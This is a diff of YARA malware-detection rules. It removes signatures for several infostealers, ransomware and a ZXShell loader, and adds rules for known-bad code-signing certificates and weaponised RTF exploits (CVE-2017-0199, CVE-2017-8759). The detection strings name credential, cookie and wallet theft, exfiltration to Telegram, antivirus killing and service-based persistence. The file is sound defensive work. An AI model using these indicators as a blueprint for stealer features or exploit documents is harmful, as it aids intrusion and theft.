-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9415-L9435"
+		id = "19d1012f-9a9e-5d84-885c-2571bfd1876c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8866-L8879"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c84df5d3ad2bc7a75a11c07995cc034c2a92b2f6f6f6943288add9c44c57bf6d"
+		logic_hash = "a8c817dc99d55dcbea31334cc10b6a7ae3b5cf831e28cb2daf9d4b06fb4bec60"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = /\[(Credman|Networks|Screenshot|Vault)\]\s\{0\}/ fullword wide
-		$s3 = "encoding=\"base64\"" fullword wide
-		$s4 = "/json/list" fullword wide
-		$s5 = "/L1ghtM4n/TorProxy/" ascii wide
-		$s6 = "<EnumerateCredentials>" ascii
-		$s7 = "<EnumerateBrowsers>" ascii
-		$s8 = "<PerformSelfDestruct>" ascii
-		$s9 = "<get_GrabberCount>" ascii
-		$s10 = "AnalyzeData" fullword ascii
-		$s11 = "CheckCard" fullword ascii
-		$s12 = "CreateGrabberZipPath" fullword ascii
-		$s13 = "Jester" fullword ascii
-		$s14 = /Stealer\.(Recovery|Grabber|Investigation)\./ ascii
+		thumbprint = "2b18684a4b1348bf78f6d58d3397ee5ca80610d1c39b243c844e08f1c1e0b4bf"
+		reason = "Lazarus"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SAMOYAJ LIMITED" and pe.signatures[i].serial=="02:9b:f7:e1:cb:09:fe:27:75:64:bd:27:c2:67:de:5a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Soranostealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_984E84Cfe362E278F558E2C70Aaafac2 : FILE
 {
 	meta:
-		description = "Detects SoranoStealer / HogGrabber. Available on Github: /Alexuiop1337/SoranoStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2fc40a73-5f28-5b5c-938a-35e8336e1d11"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9437-L9461"
+		id = "3d071d42-b96a-5491-96f5-4605b6b5584e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8881-L8894"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "27c9d6bf3f40f3d41c35975e856671fafcd4a0a8143b3bcbdff61c1fb28a37ab"
+		logic_hash = "a3a42c5b6ad094deb2a9f33789b6f7e52f76e65b2336372341f16389cef40f88"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "OiCuntJollyGoodDayYeHavin_" ascii
-		$x2 = { 00 56 4d 50 72 6f 74 65 63 74 00 52 65 61 63 74
-                6f 72 00 64 65 34 66 75 63 6b 79 6f 75 00 42 61
-                62 65 6c 4f 62 66 75 73 63 61 74 6f 72 41 74 74
-                72 69 62 75 74 65 00 43 72 79 74 70 6f 4f 62 66
-                75 73 63 61 74 6f 72 00 }
-		$x3 = { 00 4f 62 66 75 73 63 61 74 65 64 42 79 47 6f 6c
-                69 61 74 68 00 42 65 64 73 2d 50 72 6f 74 6f 72 00 }
-		$s1 = ".Binaries.whysosad" ascii
-		$s2 = "Adminstrator permissons are required" wide
-		$s3 = "12:03:33:4A:04:AF" fullword wide
-		$s4 = "RemoveEXE" fullword ascii
-		$s5 = "$340becfa-1688-4c32-aa49-30fdb4005e4b" fullword ascii
-		$s6 = "$99cffbcc-6ad7-4d32-bd1f-450967cf4a6b" fullword ascii
-		$s7 = "\"cam\": " ascii
-		$s8 = " - 801858595527371999762718088" fullword ascii
-		$s9 = "  - 96188142294460126639341306" fullword ascii
+		thumbprint = "0b2d1dad72c69644f80ad871743878b5eb1e45e451d0d2c9579bdf81384f8727"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (2 of ($x*) and 3 of ($s*)) or 5 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Arctic Nights Äkäslompolo Oy" and pe.signatures[i].serial=="98:4e:84:cf:e3:62:e2:78:f5:58:e2:c7:0a:aa:fa:c2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gloomanestealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_45245Eef53Fcf38169C715Cf68F44452 : FILE
 {
 	meta:
-		description = "Detects GloomaneStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6e3c7e8f-4b75-5198-aa41-076f29aac227"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9463-L9479"
+		id = "3e92744d-1eb8-511a-b933-6dbe1e74fcfd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8896-L8909"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "36aa9f863efb8172ed6449932169e6cb26cdeedd84bc734e09a8116a9c7774ac"
+		logic_hash = "7667563aa02be9a85ba286bc16eb37380d5988b32f0ce27b1dbd9ae18b8b9175"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "=GLOOMANE STEALER=" wide
-		$x2 = "Maded by GLOOMANE" wide
-		$s1 = "\\44CALIBER" ascii
-		$s2 = "Ethernet()" fullword wide
-		$s3 = ":spy: NEW LOG FROM" wide
-		$s4 = ":eye: IP:" wide
-		$s5 = ":file_folder: Grabbed Files" wide
-		$s6 = "$ebc25cf6-9120-4283-b972-0e5520d0000C" fullword ascii
-		$s7 = "$3b0e2d3d-3d66-42bb-8f9c-d6e188f359ae" fullword ascii
+		thumbprint = "ad7edb1b0a6a1ee3297a8825aff090030142dce8b59b9261bc57ca86666b0cbe"
+		reason = "QuakBot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or 5 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PAPER AND CORE SUPPLIES LTD" and pe.signatures[i].serial=="45:24:5e:ef:53:fc:f3:81:69:c7:15:cf:68:f4:44:52")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Lockdown : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0406C4A1521A38C8D0C4Aa214388E4Dc : FILE
 {
 	meta:
-		description = "Detects Lockdown / cantopen ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "793df99d-016a-5f96-9ff9-76d3f08e0dd2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9481-L9494"
+		id = "108dd1b8-110a-5680-bd96-5517392300fa"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8911-L8924"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a9bc2f514730703f3edf78a61f1bc357eee12b3289fc7491197c3b885286ca7e"
+		logic_hash = "3db3a4f424d2974b746b8290a461f777eb88e0d8c6048e6e51e561c1f91b7747"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "BgIAAACkAABSU0E" wide
-		$s2 = ".cantopen" fullword wide
-		$s3 = "\\HELP_DECRYPT_YOUR_FILES.txt" wide
-		$s4 = "SALT" fullword wide
-		$s5 = "$4e677664-9a63-458e-a365-deb792509557" fullword ascii
-		$s6 = "CreateEncryptor" fullword ascii
+		thumbprint = "7d6dc731d94c9aaf241f3df940ce8ca8393380b12f92e872273ae747c5d4791f"
+		reason = "IcedID"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Venezia Design SRL" and pe.signatures[i].serial=="04:06:c4:a1:52:1a:38:c8:d0:c4:aa:21:43:88:e4:dc")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Unamedstealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5Ef27Fc51Ee80B30430947C9967Db440 : FILE
 {
 	meta:
-		description = "Detects unknown infostealer. Observed as 2nd stage and injects into .NET AppLaunch.exe"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cb3d575b-3d53-5b89-abc1-3b3857ec9f46"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9496-L9512"
+		id = "53f7b334-8feb-5581-a64c-5db6558a6434"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8926-L8939"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "84f4ac7489a0d522763f69ce55f816642a8511dc4b9698ce47c983020a2b7bea"
+		logic_hash = "e282054102d852c0f66435148ce97050b15fb6f60f5d1bfc875b02de9c50c297"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "HideMelt" fullword ascii
-		$s2 = ".Implant" ascii
-		$s3 = "SetUseragent" fullword ascii
-		$s4 = "SendReport" fullword ascii
-		$s5 = "cookiesList" fullword ascii
-		$s6 = "WriteAppsList" fullword ascii
-		$s7 = "Timeout /T 2 /Nobreak" fullword wide
-		$s8 = "Directory not exists" wide
-		$s9 = "### {0} ### ({1})" wide
+		thumbprint = "c2dcc4a1ea16e45f86828e81eda20f83e70cbf77e152ddd80b1b4a730ef77551"
+		reason = "RedLineStealer"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMCERT,LLC" and pe.signatures[i].serial=="5e:f2:7f:c5:1e:e8:0b:30:43:09:47:c9:96:7d:b4:40")
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Zxshell_Loader : FILE
+rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_0199_1 : CVE_2017_0199 FILE
 {
 	meta:
-		description = "Detects ZXShell kernel driver loader"
+		description = "Detects RTF documents potentially exploiting CVE-2017-0199"
 		author = "ditekSHen"
-		id = "c55c718b-6af3-5d3b-aa1c-369319fca603"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "74b3702a-7b4d-58be-ad2c-c2b1cf0ebc50"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9514-L9562"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L1-L69"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b20350af231e0c329423c71d8f099305ed447d2ffcb7a533b7531dc9f5357b93"
+		logic_hash = "06b75267f00b775a6c1cd7a2022a9cfa0ea2c976f969c2c066be51449f197f58"
 		score = 75
-		quality = 57
-		tags = "FILE"
-		hash1 = "a6020794bd6749e0765966cd65ca6d5511581f47cc2b38e41cb1e7fddaa0b221"
+		quality = 75
+		tags = "CVE-2017-0199, FILE"
 
 	strings:
-		$s1 = "KillAvpProcess" ascii wide nocase
-		$s2 = "ProtectDllFile" ascii wide nocase
-		$s3 = "LoadSys" ascii wide nocase
-		$s4 = "CallDriver" ascii wide nocase
-		$s5 = "DoRVA" fullword ascii wide
-		$s6 = "TdiProxy" ascii
-		$s7 = "res.ini" fullword ascii
-		$s8 = "res.dat" fullword ascii
-		$s9 = "google64.p" fullword ascii
-		$s10 = "google32.p" fullword ascii
-		$s11 = "OneSelfKey" fullword ascii
-		$x1 = "antiscan" ascii
-		$x2 = "removeprocessnotify" ascii
-		$x3 = "setprocessnotify" ascii
-		$x4 = "antiantigp" ascii
-		$x5 = "hideproc" ascii
-		$x6 = "hidekey" ascii
-		$x7 = "hidefile" ascii
-		$x8 = "sc create %s binpath= \"%%SystemRoot%%\\System32\\svchost.exe -k %s\" type= share start= auto" fullword ascii
-		$m1 = "St4rtServ1ce" ascii
-		$m2 = "ch3ck dr1ver failed" ascii
-		$m3 = "L0ad dr1ver failed" ascii
-		$m4 = "Write Dr1ver Failed" ascii
-		$m5 = "over writed succ3ssfully" ascii
-		$m6 = "can k1ll the pr0cessId" ascii
+		$urlmoniker3 = { 45 0a 30 0a 43 0a 39 0a 45 0a 41 0a 37 0a 39 0a
+                         46 0a 39 0a 42 0a 41 0a 43 0a 45 0a 31 0a 31 0a
+                         38 0a 43 0a 38 0a 32 0a 30 0a 30 0a 41 0a 41 0a
+                         30 0a 30 0a 34 0a 42 0a 41 0a 39 0a 30 0a 42 }
+		$urlmoniker4 = { 45 0d 0a 30 0d 0a 43 0d 0a 39 0d 0a 45 0d 0a 41
+                         0d 0a 37 0d 0a 39 0d 0a 46 0d 0a 39 0d 0a 42 0d
+                         0a 41 0d 0a 43 0d 0a 45 0d 0a 31 0d 0a 31 0d 0a
+                         38 0d 0a 43 0d 0a 38 0d 0a 32 0d 0a 30 0d 0a 30
+                         0d 0a 41 0d 0a 41 0d 0a 30 0d 0a 30 0d 0a 34 0d
+                         0a 42 0d 0a 41 0d 0a 39 0d 0a 30 0d 0a 42 }
+		$urlmoniker6 = { 65 0a 30 0a 63 0a 39 0a 65 0a 61 0a 37 0a 39 0a
+                         66 0a 39 0a 62 0a 61 0a 63 0a 65 0a 31 0a 31 0a
+                         38 0a 63 0a 38 0a 32 0a 30 0a 30 0a 61 0a 61 0a
+                         30 0a 30 0a 34 0a 62 0a 61 0a 39 0a 30 0a 62 }
+		$urlmoniker7 = { 65 0d 0a 30 0d 0a 63 0d 0a 39 0d 0a 65 0d 0a 61
+                         0d 0a 37 0d 0a 39 0d 0a 66 0d 0a 39 0d 0a 62 0d
+                         0a 61 0d 0a 63 0d 0a 65 0d 0a 31 0d 0a 31 0d 0a
+                         38 0d 0a 63 0d 0a 38 0d 0a 32 0d 0a 30 0d 0a 30
+                         0d 0a 61 0d 0a 61 0d 0a 30 0d 0a 30 0d 0a 34 0d
+                         0a 62 0d 0a 61 0d 0a 39 0d 0a 30 0d 0a 62 }
+		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
+		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
+		$ole3 = "64306366313165306131623131616531" ascii
+		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31" ascii nocase
+		$ole5 = { 64 0a 30 0a 63 0a 66 0a 31 0a 31 0a 65 0a 30 }
+		$ole6 = { 64 0d 0a 30 0d 0a 63 0d 0a 66 0d 0a 31 0d 0a 31 0d 0a 65 0d 0a 30 }
+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($m*) or 5 of ($s*) or 5 of ($x*) or (3 of ($s*) and 3 of ($x*)) or (2 of ($s*) and 1 of ($x*) and 1 of ($m*)) or (pe.exports("KillAvpProcess") and pe.exports("ProtectDllFile") and pe.exports("LoadSys")) or (3 of them and (pe.exports("KillAvpProcess") or pe.exports("ProtectDllFile") or pe.exports("LoadSys") or pe.exports("CallDriver") or pe.exports("DoRVA"))))
+		uint32(0)==0x74725c7b and 1 of ($urlmoniker*) and 1 of ($ole*) and 1 of ($obj*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Bandit : FILE
+rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_8759_1 : CVE_2017_8759 FILE
 {
 	meta:
-		description = "Detects Bandit Infostealer"
+		description = "detects CVE-2017-8759 weaponized RTF documents."
 		author = "ditekSHen"
-		id = "06866232-bd40-5bbc-9f08-3892193b5f36"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8f873145-b909-5185-9f85-07c820d1f38e"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9564-L9600"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L195-L218"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e557f5a928b5da90f3ec878d6d8615a2d8b5f33e97954cd3278044f76b543386"
+		logic_hash = "595dc0153a2349fbd4f92dd544a3dfd05715059dd639653e7c7e6ac80624360e"
 		score = 75
-		quality = 57
-		tags = "FILE"
+		quality = 75
+		tags = "CVE-2017-8759, FILE"
 
 	strings:
-		$x1 = "@Banditshopbot" ascii
-		$x2 = "BANDIT STEALER" ascii
-		$x3 = "Banditstealer" ascii
-		$n1 = "bandit/browsers." ascii
-		$n2 = "bandit/crypto." ascii
-		$n3 = "bandit/decrypt." ascii
-		$n4 = "bandit/messenger." ascii
-		$n5 = "bandit/userdata." ascii
-		$n6 = "bandit/utils." ascii
-		$f1 = "main.sendZipToTelegram" fullword ascii
-		$f2 = "main.killProcessHoldingFileHandle" fullword ascii
-		$f3 = "main.killProcessByName" fullword ascii
-		$f4 = "main.killProcessesHoldingFile" fullword ascii
-		$f5 = "main.deleteDir" fullword ascii
-		$f6 = "main.deleteUserDataDirs" fullword ascii
-		$path = /bandit\/(browsers|common|crypto|messenger|userdata|utils)\/(browsers|common|crypto|messenger|userdata|utils)\.go/ ascii
-		$m1 = "banditbot" ascii wide nocase
-		$m2 = "blackListedIPS = [" ascii wide nocase
-		$m3 = "blackListedPCNames = [" ascii wide nocase
-		$m4 = "blackListedMacs = [" ascii wide nocase
-		$m5 = "blacklisted_hwids = [" ascii wide nocase
-		$m6 = "blacklisted_users = [" ascii wide nocase
-		$m7 = "blacklisted_processes = [" ascii wide nocase
-		$s1 = "User-AgentVirtualBox" ascii
-		$s2 = "%s%sBinanceChainWallet" ascii
-		$s3 = "coinbaseWalletcontent-lengthdata" ascii
-		$s4 = "coinbaseWalletExtensioncommand" ascii
-		$s5 = "\\s+pid:\\s+(\\d+)\\s+" ascii
-		$s6 = "/user:Administrator" ascii
+		$clsid1 = { 00 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
+		$clsid2 = { 00 03 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
+		$clsid3 = "0003000000000000c000000000000046" ascii nocase
+		$clsid4 = "4f4c45324c696e6b" ascii nocase
+		$clsid5 = "OLE2Link" ascii nocase
+		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
+		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
+		$ole3 = "64306366313165306131623131616531" ascii
+		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
+		$s1 = "wsdl=http" wide
+		$s2 = "METAFILEPICT" ascii
+		$s3 = "INCLUDEPICTURE \"http" ascii
+		$s4 = "!This program cannot be run in DOS mode" ascii
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or 4 of ($n*) or 5 of ($f*) or ($path and (1 of ($n*) or 1 of ($f*))) or (1 of ($x*) and (1 of ($n*) or 1 of ($f2*))) or 6 of ($m*) or ( all of ($s*)))
+		uint32(0)==0x74725c7b and 1 of ($clsid*) and 1 of ($ole*) and 2 of ($s*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Laplas : FILE
+rule DITEKSHEN_INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2 : CVE_2017_8759 FILE
 {
 	meta:
-		description = "Detects LapLas Infostealer"
+		description = "detects CVE-2017-8759 weaponized RTF documents."
 		author = "ditekSHen"
-		id = "bf2b0183-2b21-535a-896c-250fa448d090"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "92c8f45e-3792-51b3-bda4-7e9eae0e9a80"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9602-L9630"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L220-L248"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e4a1f39a539782118db9c4ab89d03e359420397ef970165389cc79e7ea0952b3"
+		logic_hash = "15c9a5cfce5d1a797bab049352d8506b8bc112cabe2f510019f5d203690419e8"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		clamav_sig1 = "MALWARE.Win.LapLas-DotNET"
-		clamav_sig2 = "MALWARE.Win.LapLas-GoLang"
+		quality = 75
+		tags = "CVE-2017-8759, FILE"
 
 	strings:
-		$c1 = "/bot/" ascii
-		$c2 = "key=" ascii
-		$f1 = "main.isRunning" fullword ascii
-		$f2 = "main.writePid" fullword ascii
-		$f3 = "main.isStartupEnabled" fullword ascii
-		$f4 = "main.enableStartup" fullword ascii
-		$f5 = "main.waitOpenClipboard" fullword ascii
-		$f6 = "main.clipboardWrite" fullword ascii
-		$f7 = "main.setOnline" fullword ascii
-		$f8 = "main.getRegex" fullword ascii
-		$v2_1 = "{0}/bot/{1}?{2}" wide
-		$v2_2 = /\{0\}\\\{1\}\.(exe|pid)/ wide
-		$v2_3 = "schtasks /create /tn" wide
-		$v2_4 = "SetOnline" fullword ascii
-		$v2_5 = "IsAutoRunInstance" fullword ascii
-		$v2_6 = "GetNewAddress" fullword ascii
-		$v2_7 = "RefreshRegex" fullword ascii
+		$clsid1 = { 88 d9 6a 0c f1 92 11 d4 a6 5f 00 40 96 32 51 e5 }
+		$clsid2 = "88d96a0cf19211d4a65f0040963251e5" ascii nocase
+		$clsid3 = "4d73786d6c322e534158584d4c5265616465722e" ascii nocase
+		$clsid4 = "Msxml2.SAXXMLReader." ascii nocase
+		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
+		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
+		$ole3 = "64306366313165306131623131616531" ascii
+		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
+		$obj7 = "\\objclass htmlfile" ascii
+		$soap1 = "c7b0abec197fd211978e0000f8757e" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($c*) and 5 of ($f*)) or (1 of ($c*) and 7 of ($f*)) or (6 of ($v2*)))
+		uint32(0)==0x74725c7b and 1 of ($clsid*) and 1 of ($ole*) and (2 of ($obj*) or 1 of ($soap*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Mystic : FILE
+rule DITEKSHEN_INDICATOR_RTF_Exploit_Scripting : CVE_2017_8759 CVE_2017_8570 FILE
 {
 	meta:
-		description = "Hunt for Mystic Infostealer"
+		description = "detects CVE-2017-8759 or CVE-2017-8570 weaponized RTF documents."
 		author = "ditekSHen"
-		id = "959eceab-0a2c-5361-b8f4-6739033ffae5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e8fd1231-3ef5-5b0b-987c-f55337804da3"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9632-L9646"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L250-L282"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "26e0b85141df818d70124c0b19b5b6a05ac24ae679724d7a8ad94415a6462d17"
+		logic_hash = "a1f4c833f0132dcbe2b3677d6ac0f3597c152702515375d60d4332c21183bd76"
 		score = 75
 		quality = 75
-		tags = "FILE"
+		tags = "CVE-2017-8759, CVE-2017-8570, FILE"
 
 	strings:
-		$s1 = "LaStFiLe:)" ascii wide
-		$s2 = "LaStPrOcEsS:)" ascii wide
-		$s3 = "credit_cards" ascii wide
-		$s4 = "number_of_processors" ascii wide
-		$s5 = "computername" ascii wide
-		$p1 = "G:\\Projects\\Python\\morpher\\" ascii wide
-		$p2 = /G:\\Projects\\stealer\\.{15}\\Release\\.{5,25}\.pdb/ ascii wide
+		$clsid1 = { 00 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
+		$clsid2 = "0003000000000000c000000000000046" ascii nocase
+		$clsid3 = "4f4c45324c696e6b" ascii nocase
+		$clsid4 = "OLE2Link" ascii nocase
+		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
+		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
+		$ole3 = "64306366313165306131623131616531" ascii
+		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
+		$ole5 = { 64 30 63 66 [0-2] 31 31 65 30 61 31 62 31 31 61 65 31 }
+		$ole6 = "D0cf11E" ascii nocase
+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
+		$obj7 = "\\mmath" ascii
+		$obj8 = "\\objclass htmlfile" ascii
+		$sct1 = { 33 (43|63) (3533|3733) (3433|3633) (3532|3732) (3439|3639)( 3530|3730) (3534|3734) (3443|3643) (3435|3635) (3534|3734) }
+		$sct2 = { (3737|3537) (3733|3533) (3633|3433) (3732|3532) (3639|3439) (3730|3530) (3734|3534) (3245|3265) (3733|3533) (3638|3438) (3635|3435) (3643|3443) (3643|3443) }
 
 	condition:
-		( uint16(0)==0x5a4d and (4 of ($s*) or (1 of ($p*) and 3 of ($s*)))) or ( all of ($s*))
+		uint32(0)==0x74725c7b and 1 of ($clsid*) and 1 of ($ole*) and 1 of ($obj*) and 1 of ($sct*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Linux_Buhti : FILE
+rule DITEKSHEN_INDICATOR_RTF_Embedded_Excel_Sheetmacroenabled : FILE
 {
 	meta:
-		description = "Detects Buhti Ransomware"
+		description = "Detects RTF documents embedding an Excel sheet with macros enabled. Observed in exploit followed by dropper behavior"
 		author = "ditekSHen"
-		id = "a50b8c34-e9e2-5466-80a1-b0ab805c68be"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "342d10b3-61d2-5fcb-8f4f-1fe45049257b"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9648-L9661"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L284-L308"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1bab3202dbeaf088b233c3ab1056c357d156b7eef3111bea997b1c610a27f561"
+		logic_hash = "cc3b52e549c2697c6e0a2fea365d193311d90d26854bd2fe321aa26c118975a0"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$x1 = "buhtiRansom" ascii
